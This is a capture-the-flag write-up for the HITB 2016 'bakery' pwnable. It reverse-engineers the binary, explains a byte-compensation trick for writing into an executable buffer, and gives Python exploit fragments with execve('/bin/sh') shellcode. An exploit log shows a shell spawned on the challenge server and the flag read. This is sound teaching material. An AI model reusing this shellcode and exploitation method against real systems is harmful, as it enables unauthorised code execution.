HITB 2016 - Bakery write-up


• Posted by hugsy on April 1, 2016
• exploit • hitb

I participated to HITB Teaser CTF only to have a bit of fun with there pwnable challenge(s) which I find usually fun and instructive. The teaser only offered one pwnable challenge, named bakery.

Info

The vulnerable file is here

gef➤  !file ./bakery.910abf341053d25831ecb465b7ddf738
./bakery.910abf341053d25831ecb465b7ddf738: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=74fa32ca74594550d59ff5fb64b8dd523965cdfc, stripped
gef➤  checksec ./bakery.910abf341053d25831ecb465b7ddf738
[+] checksec for './bakery.910abf341053d25831ecb465b7ddf738'
Canary:                                           Yes
NX Support:                                       Yes
PIE Support:                                      No
RPATH:                                            No
RUNPATH:                                          No
Partial RelRO:                                    Yes
Full RelRO:                                       No

It is a baking program, that allows to build your own recipe.

Vulnerability

After printing the available ingredients, the main function does this (at 0x0400CBC)

Which translates to the pseudo-code:

buf = mmap(NULL, 0x1000, RWX, flags, ...);
memset(buf, '\xc3', 0x1000);
srand( time(NULL) );
randint = rand() * 0x1337;
printf("0v3n w4rm3d up to %d d3greez! (d4mn h0t!)\n", randint);

Then it enters a loop to add the ingredients:

printf("Add ingredient");
fgets(ingredient, 127, stdin);
ingredient[ strlen(ingredient)-1 ] = '\x00';
strncmp(ingredient, "BAKE", 4);

If we enter BAKE, it will simply jump to the buffer allocated by mmap from above:

.text:0000000000400EB8                 mov     rax, [rbp+mmap_buf]
.text:0000000000400EBF                 mov     [rbp+var_108], rax
.text:0000000000400EC6                 mov     rdx, [rbp+mmap_buf]
.text:0000000000400ECD                 mov     rax, [rbp+var_108]
.text:0000000000400ED4                 mov     rdi, rdx
.text:0000000000400ED7                 call    rax

Otherwise, it will check using strstr() if our ingredient we entered is in the list of valid ingredients. If the sub-string was found, it calls a function at 0x400B15 with 2 arguments, the string we provided as input for ingredient, and the random integer generated initially.

The function at 0x400B15 is fairly simply and could be translate to pseudo-code like this:

int func_400B15(char* input, int init)
{
  int accu;
  int i;
  accu = init;
  for( i=0; i<strlen(input); i++ ) accu += input[i];
  return accu;
}

The result is then and-ed to 0xff and written at current location in the mmap allocated buffer

.text:0000000000400E77                 mov     rax, [rbp+p_mmap_buf]
.text:0000000000400E7E                 movzx   edx, [rbp+result]
.text:0000000000400E85                 mov     [rax], dl
.text:0000000000400E87                 add     [rbp+p_mmap_buf], 1

The pointer to the mmap buffer is incremented.

So what this program is doing, is using the “accumulator” function to write inside the mmap buffer, which will then be jumped into and executed.

Exploitation

Getting the initial random integer can be done by reading from the socket until reahcing the string 0v3n w4rm3d up to and divide this value by 0x1337.

    # get the init rand()
    parts = s.read_until("\n").split()
    temp = int(parts[5])
    ok("Got temp=%d" % temp)
    rand = temp / 0x1337
    ok("Got rand=%d" % rand)

To reliably control the content of the mmaped buffer, we need to “compensate” the accumulation that the function is doing. Since we know the initial random integer, my approach was to use one of the valid ingredients (in this case FLOUR) which is required to pass the strstr() check, sum up the ascii values of the letters of the word, and add the random init.

def write_char_in_memory(sock, char, init):
    sock.read_until("add ingredient> ")
    [...]
    base = init + sum( [ord(x) for x in 'FLOUR'] )

If the value does not finish by a NULL, I calculate what is the closest upper bound to be aligned with 0, and substract the result with my value:

def find_closest_upper_bound(x):
    a = x >> 8
    a+= 1
    return a << 8

[...]
    top = base
    if base & 0xff != 0x00:
        top = find_closest_upper_bound(base)
    diff = top-base

This gives me in the diff variable what needs to be added to the stub `randint

  • ‘F’ + ‘L’ + ‘O’ + ‘U’ + ‘R’. We can then padding this stub by appending to this stuff diff times \x01`. This way we fully control the last byte, so we can append the character we actually want written in memory.

Now that we can write reliably one character at a time, we can copy our shellcode:

        sc = "\x48\x31\xd2"                                  # xor rdx, rdx
        sc+= "\x48\x31\xc0"                                  # xor rax, rax
        sc+= "\x48\x31\xf6"                                  # xor rsi, rsi
        sc+= "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      # mov rbx, 0x68732f6e69622f2f
        sc+= "\x48\xc1\xeb\x08"                              # shr rbx, 0x8
        sc+= "\x53"                                          # push rbx
        sc+= "\x48\x89\xe7"                                  # mov rdi, rsp
        sc+= "\xc6\xc0\x3b"                                  # mov al, 59
        sc+= "\x0f\x05"                                      # syscall

        for c in sc:
            write_char_in_memory(s, c, rand & 0xff)

And to execute it, the only thing left is to start baking!

        s.read_until("add ingredient> ")
        s.write("BAKE" + '\n' )

Let’s go:

$  py gef-exploit.py
[+] Connected to 52.17.31.229:31337
Attach with GDB and hit Enter
[+] Got banner
[+] Got temp=654227
[+] Got rand=133
[*] Writing char=H rand=133
[*] Using top=768, base=525
[*] Sending ''FLOURAAA\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01H''
[*] Writing char=1 rand=133
[*] Using top=768, base=525
[...]
[+] Got it, interacting (Ctrl-C to break)
[+] Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')"  '
python -c "import pty;pty.spawn('/bin/bash')"
bakery@ip-172-31-31-97:/$ cd home/bakery
cd home/bakery
bakery@ip-172-31-31-97:/home/bakery$ ls
ls
YOU_WANT_THIS_ONE  bakery
bakery@ip-172-31-31-97:/home/bakery$ cat YOU_WANT_THIS_ONE
cat YOU_WANT_THIS_ONE
You win! The flag is HITB{24d467d954cc08efbfa6acd8341e55d7}
bakery@ip-172-31-31-97:/home/bakery$

Fun challenge, thanks to the whole HITB crew for their continuous inventivity.

And as usual, the full exploit can be found here.


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